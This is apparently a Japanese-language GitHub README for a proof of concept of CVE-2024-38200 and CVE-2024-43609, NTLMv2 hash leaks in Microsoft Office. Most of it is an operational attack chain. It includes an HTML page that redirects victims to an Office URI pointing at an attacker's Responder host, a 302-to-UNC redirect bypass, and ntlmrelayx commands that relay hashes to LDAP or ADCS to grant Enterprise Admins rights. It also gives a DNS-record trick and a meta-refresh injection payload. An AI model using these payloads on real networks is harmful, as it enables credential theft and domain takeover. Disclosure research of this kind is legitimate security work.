passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Microsoft Office の NTLMv2 情報開示の脆弱性
HTTP 経由での NTLMv2 ハッシュの取得は修正されていません。NTLMv2 ハッシュ値は依然として HTTP 経由で取得でき、LDAP または ADCS にリレーすることが可能です。 MSRC はこの状況について「提示された内容は現行設計の一部と思われます」と述べています。
この脆弱性が修正されたとしても、統合 Windows 認証 セクションで述べられているように、デフォルト設定でもハッシュ値を取得してリレーすることができます。
以前、Office URI スキームを使用して SMB 経由で NTLMv2 ハッシュを取得する方法が共有されました。主なアイデアは単純です。被害者に以下の HTML ファイルの URL を送信し、SMB 経由で NTLMv2 ハッシュを取得します。LINK
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
これが私にとっての着想点です。Office URI Schemes ページを見ると、URI スキーム内で https:// プロトコルが使用されていることがわかります。この状況は、http:// も潜在的に使用できることを示しています。ドメインコントローラサーバーに対する NTLM リレー攻撃を行うには、SMB 経由よりも HTTP 経由で NTLMv2 ハッシュを取得する方が有利です。Relaying Chart。
Office 2016 MSO (16.0.4266.1001) 32-bit に対して ms-word:ofe|u|http://test.local:8080/leak/leak.docx URI を使用したところ、悪意のある活動からユーザーを保護するための警告ボックスが表示されました。しかし、Microsoft 365 Office および Office 2019 については同じことは言えません。これらのバージョンは警告なしでリモートの Office ファイルにアクセスし、SMB および HTTP プロトコル経由で NTLMv2 ハッシュを取得するために悪用される可能性があります。
CVE-2024-38200 のパッチが正しく適用されていないことを発見しました。パッチ公開後、Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) および Microsoft 365 MSO 2408 Build 16.0.17928.20114 に対して脆弱性をテストし、以下に示すように脆弱性が依然として悪用可能であることを確認しました CVE-2024-43609 。
Office アプリケーションが Office URI スキーム (e.g., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx) を介してリクエストを行う際に、302 リダイレクトを使用して HTTP リクエストを UNC パスにリダイレクトできます。uncredirect.py スクリプトは、MS Office URI スキームで送信された HTTP リクエストを処理し、Responder の IP アドレスを含む UNC パスにリダイレクトします。この状況により、SMB 経由で NTLMv2 ハッシュを取得し、ms-word:ofe|u|\\<responder ip>\leak\leak.docx URI に対するセキュリティ制限を回避することが可能になります。
uncredirect.py と responder を起動します。office.html ファイルの URL を被害者ユーザーに送信します。https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
LDAP へのリレーにおいては、SMB 経由よりも HTTP 経由で NTLMv2 ハッシュを取得する方が有利です。Office URI を介してファイルが要求されると、302 リダイレクトを使用して UNC パスにリダイレクトしなくても、HTTP 経由で NTLMv2 ハッシュを取得できます。この悪用手法は、インターネット経由では実行できません。インターネットオプションに誤構成がない限り、企業ネットワーク外のホストに対して HTTP 経由の NTLM 認証は行われないためです。
ただし、これはリレー攻撃と権限昇格に効果的な方法であると考えています。
「インターネットオプション」の設定は、Office アプリケーションの NTLM 認証動作に影響を与えます。これはいくつかの例で確認できます。NTLMv2 ハッシュを取得するために ms-excel:ofe|u|http://192.168.1.7/leak.xlsx URI 形式を使用していると仮定します。
ドメイン参加済みの被害者マシンに以下のいずれかの GPO が適用されると、Office アプリケーションは自動的に認証を実行します。
インターネット ゾーンの ユーザー認証 に 現在のユーザー名とパスワードで自動的にログオンする が設定されているローカルイントラネット のサイトにサブネットまたは IP アドレス範囲が追加されている (例: 192.168.*.* 、192.168.0-255.* 、192.168.1.7)信頼済みサイト にサブネットまたは IP アドレス範囲が追加され (例: 192.168.*.* 、192.168.0-255.* 、192.168.1.7)、信頼済みサイト ゾーンの ユーザー認証 に 現在のユーザー名とパスワードで自動的にログオンする が設定されている
上記のいずれかの GPO が適用されている場合、被害者ユーザーが URI をクリックすると、適用された GPO によって NTLM 認証が自動的に行われるため、Office アプリケーションが攻撃者のサーバーから leak.docx ファイルを取得し、NTLMv2 ハッシュが取得されます。
GPO を悪用するシナリオ例:
IP アドレスを指定して Office URI を設定した後 (例: ms-excel:ofe|u|http://192.168.1.7/leak.xlsx)、office.html の URL をドメイン管理者権限を持つユーザーに送信し、ntlmrelayx を使用して取得したハッシュを LDAP(S) サーバーにリレーできます。ntlmrelayx は、「開く」ボタンをクリックするだけで新しいユーザーを作成し、Enterprise Admins グループに追加します。
注:
GPO を介して追加されたサイトは、次のレジストリキーを使用して一覧表示できます。
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
上記のいずれかの GPO が適用されていない場合、NTLM 認証は自動的に行われません。ただし、DNS A レコードを追加して Office URI 内でこのレコードを使用すると、Windows はホスト名をイントラネットゾーンの一部とみなします。これにより、NTLMv2 認証が自動的に行われ、誤構成の GPO がなくても標準ユーザーが権限を昇格できます。標準権限を持つ任意のドメインユーザーは、存在しない DNS レコードを追加できるため、この攻撃はドメインユーザーのデフォルト設定で機能します。
office.html ファイルは、被害者ユーザーがアクセス可能な任意のサーバーから配信できます (例: https://office.com/office.html)。ntlmrelayx はデフォルトでポート 80 を使用するため、Apache にはポート 8081 を設定しました。別のオプションとして、ntlmrelayx で --http-port を使用することもできます。追加したレコードを office.html ファイル内の Office URI に入力します。
ntlmrelayx を起動します: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
office.html ファイルの URL をドメイン管理者権限を持つユーザーに送信します。URL を送信する前に、ping コマンドで DNS レコードが解決されることを確認してください。
被害者ユーザーが URL にアクセスすると、「開く」ボタンをクリックするだけで NTLMv2 ハッシュを取得できます。(警告なし!)
HTTP 経由で取得した NTLMv2 ハッシュは、ntlmrelayx によってドメインコントローラにリレーされます。その結果、標準ユーザーはデフォルト構成でわずか 2 回のクリックで DCSync および Enterprise Admins 権限を取得できます。
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
注-1: ドメイン参加済みサーバーが侵害され、inveigh または ntlmrelayx を実行できる場合、DNS レコードを追加する必要はありません。
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
注-2: もう 1 つのオプションとして、被害者ユーザーのハッシュを LDAP の代わりに ADCS へリレーすることもできます:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
この概念実証は、Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) および Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176) で実施されました。
イントラネットの企業環境で Windows を使用したことがある人なら、ネットワーク上の企業リソースへのアクセスがシームレスで、多くの場合、最初の Windows ドメインログオン以外に資格情報の入力を明示的に求められないことに気付いているかもしれません。これは、ネットワークマップドライブやイントラネット Web サイトなど、いくつかのサービスに当てはまります。 Microsoft 製ブラウザの Internet Explorer と Edge には、信頼済みゾーンの概念があります。インターネット、ローカルイントラネット、信頼済みサイト、制限付きサイトです。各ゾーンには異なるセキュリティレベルと関連する制限があります。たとえば、イントラネットゾーンのサイトでは、Internet Explorer は XSS フィルターを無効にし、ActiveX プラグインを実行し、自動ログオンを実行し、全体としてインターネットサイトよりもセキュリティ制御が少なくなっています。 既定では、Web サーバーが NTLM 認証で保護されたリソースを保持している場合、Web サイトが企業イントラネット内にあるか、信頼済みサイトにホワイトリスト登録されていれば、Internet Explorer と Edge は信頼済みゾーンの概念に従って認証を自動的に実行します。 Mozilla Firefox や Google Chrome などの他のブラウザも、自動 NTLM ログオンをサポートしています。Chrome は Internet Explorer と同じ設定に依存します。Firefox の場合、この構成はデフォルトでは有効になっておらず、about:config 経由で手動で変更する必要があります。
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
リモートホストがあなたに対して認証を行うには、たとえば UNC パスに従った結果として、特定の条件が満たされている必要があります。主に、インターネットなどの外部ネットワークへのハッシュ漏えいの可能性を最小限に抑えるために、システムが「ローカルイントラネット」ゾーンに属している必要があります。ターゲットの内部ネットワークに既に足場がある場合にこの要件を満たす最も簡単な方法は、システムの NetBIOS 名を使用することです。つまり、workstation1.contoso.com にいる場合は、UNC パスで workstation1 を使用して、ローカルイントラネットゾーンに強制的に含めます。
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
前述のように、インターネットオプションの変更は Edge および Chrome ブラウザの NTLM 認証動作にも影響します。これらのブラウザは自動 NTLM 認証をサポートしており、Windows は NetBIOS 名を使用した HTTP 接続がイントラネットゾーン内にあるとみなして NTLM 認証を実行します。その後、PoC で示したように、DNS レコードを作成し、NetBIOS 名を含む URL (例: http://kali14/notexist.html ) をユーザーに送信すると、Edge または Chrome ブラウザで URL に移動した場合にユーザーの NTLMv2 ハッシュを取得してリレーできることに気付きました。特権ユーザーの NTLMv2 ハッシュを ntlmrelayx で LDAP(S) にリレーすると、デフォルト設定でドメイン内の権限を昇格できます。
Edge:
Chrome:
リンクをユーザーに送信する代わりに、HTML インジェクションを使用して NTLMv2 ハッシュを取得できます:
kali14 という名前の DNS レコードを作成します<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
他のゾーンに一覧表示されていないすべてのローカル (イントラネット) サイトを含める オプションの選択を解除します。このオプションはデフォルトで選択されています。
注: このエクスプロイトは、教育および研究目的のみで提供されています。作者は、このエクスプロイトの適用によって引き起こされた誤用や損害について一切責任を負いません。明示的な許可がない環境でのこのコードの不正使用は、違法かつ非倫理的です。